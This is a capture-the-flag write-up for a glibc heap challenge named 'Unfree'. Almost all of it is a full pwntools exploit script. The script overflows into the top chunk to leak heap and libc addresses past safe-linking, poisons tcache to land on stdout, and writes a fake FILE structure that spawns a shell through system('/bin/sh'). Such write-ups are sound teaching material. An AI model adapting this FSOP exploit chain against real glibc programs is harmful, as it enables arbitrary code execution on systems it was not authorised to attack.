dplastico

Unfree

This is an amazing challenge where you don’t have a free function and an overflow, so you need to overflow and get a leak by overwriting the top chunk, forcing a previous chunk to be freed, leaking data, and then using FSOP to get RCE. Really nice heap challenge.

#!/usr/bin/env python3

from pwn import *

elf = ELF("./unfree_patched")
libc = ELF("./libc.so.6")
ld = ELF("./ld-linux-x86-64.so.2")

context.binary = elf
context.terminal = ['tmux', 'splitw', '-hp', '70']
#context.log_level = "debug"
gs = '''
b main
continue
'''

def start():
    if args.REMOTE:
        return remote("127.0.0.1", 1337)
    if args.GDB:
        return gdb.debug([elf.path], gdbscript=gs)
    else:
        return process([elf.path])

r = start()

def logbase(): log.info("libc base = %#x" % libc.address)
def logleak(name, val):  log.info(name+" = %#x" % val)
def sa(delim,data): return r.sendafter(delim,data)
def sla(delim,line): return r.sendlineafter(delim,line)
def sl(line): return r.sendline(line)
def rcu(d1, d2=0):
  r.recvuntil(d1, drop=True)
  # return data between d1 and d2
  if (d2):
    return r.recvuntil(d2,drop=True)

#========= exploit here ===================
#wrappers
r.timeout = 0.3
def alloc(idx, size, data):
    sl(b"1")
    sla(b"to add", f"{idx}".encode('ascii'))
    sla(b"size", f"{size}".encode('ascii'))
    sa(b"data:", data)
    rcu(b"0. Exit\n")
    return idx

def edit(idx, data):
    sl(b"2")
    sla(b"index to edit", f"{idx}".encode('ascii'))
    sa(b"data:", data)
    rcu(b"0. Exit")

def read_note(idx):
    r.sendline(b"3")
    r.sendlineafter(b"index to read", f"{idx}".encode('ascii'))
    r.recvline()

def quit_exit():
    sl(b"0")
    
#doing the heap

alloc(0, 0x28, b"A"*0x28+p64(0xd41))

alloc(1, 0xbe8, "BBBBBBBB")
alloc(2, 0x28, b"CCCCCCCC")# last chnuk on the current heap space that we will use to leak
alloc(3, 0x118, b"DDDDDDDD") #this chunk will go into the "new space of the heap"

edit(2, b"A"*0x28+b"dpladpla")

#heap leak
read_note(2)
rcu(b"dpladpla")
#
leak1 = u64(r.recvline().strip().ljust(8, b"\x00"))
rcu(b"Exit\n")
logleak("leak mangled ptr", leak1)
#shift by 12 because of safe linking
heap1 = leak1 << 12
logleak("1st heap", heap1)

##restore chunk 2
edit(2, b"B"*0x28+p64(0x101)) #edit this back again to proper size of the nextr chunk 

#we do the same trick again in the new heap space to get us a second leak
alloc(4,0x28,b"X"*0x28+p64(0xeb1)) #whis will go after chunk 3 in the new heap space
alloc(5,0xd58,"YYYYYYYYY") # fill space
alloc(6,0x28,"CCCCCCCC") #to leak2
alloc(7,0x118,"ZZZZZZZZZ")#actual leak since it will clear more heap space again
#
edit(6,b"C"*0x28+b"leakleak")
read_note(6)
rcu(b"leakleak")
leak2 = u64(r.recvline().strip().ljust(8, b"\x00"))
rcu(b"Exit\n")
logleak("leak mangled ptr 2", leak2)

#0xef0 = offset to leak2 ptr
heap2 = ((heap1+0xef0) ^ leak2) << 12
logleak("2nd heap", heap2)

#restore
edit(6,b"D"*0x28+p64(0x101))

#libc leak
alloc(8,0x28,b"E"*0x28+p64(0xeb1))
alloc(9,0xec8,"leaked")
edit(8,b"E"*0x28+b"leakleak")

read_note(8)
leak3 = u64(rcu(b"leakleak",b"\n").ljust(8,b"\x00"))

rcu(b"Exit\n")
logleak("libc leak", leak3)
libc.address = leak3 - 0x203b20
logbase()

_IO_list_all = libc.address+0x2044c0

log.info(f"_IO_list_all = {hex(_IO_list_all)}")

#RCE trough FSOP
#change back size on chunk 9 trough chunk 8 to "restore" the heap
edit(8,b"F"*0x28+p64(0xe91))

edit(6, b"G"*0x28+p64(0x101)+p64(libc.sym._IO_2_1_stdout_ ^ (heap2>>12)))

alloc(10,0xf8, b"HHHHHHHH")

##breaks
log.info(f"break in = {hex(libc.address+0x961d3)}")
log.info(f"break in _IO_wdallocbuf = {hex(libc.address+0x8cee8)}")

gadget = libc.address +  0x00000000001724f0# add rdi, 0x10; jmp rcx;
stdout_lock = libc.address + 0x205710	# _IO_stdfile_1_lock  (symbol not exported)
stdout = libc.sym['_IO_2_1_stdout_']
fake_vtable = libc.sym['_IO_wfile_jumps']-0x18

log.info(f"gadget2 = {hex(gadget)}")
log.info(f"_IO_2_1_stdout_ = {hex(libc.sym._IO_2_1_stdout_)}")


fake = FileStructure(0)
fake.flags = 0x3b01010101010101
fake._IO_read_end=libc.sym['system']# the function that we will call: system()
fake._IO_save_base = p64(gadget)
fake._IO_write_end=u64(b'/bin/sh\x00')# will be at rdi+0x10
fake._lock=stdout_lock
fake._codecvt= stdout + 0xb8
fake._wide_data = stdout+0x200		# _wide_data just need to points to empty zone
fake.unknown2=p64(0)*2+p64(stdout+0x20)+p64(0)*3+p64(fake_vtable)
print(f"len fake {hex(len(fake))}")
pause()
#write the fake Filestructuire into stdout
alloc(11,0xf8, bytes(fake))

#========= interactive ====================
r.interactive()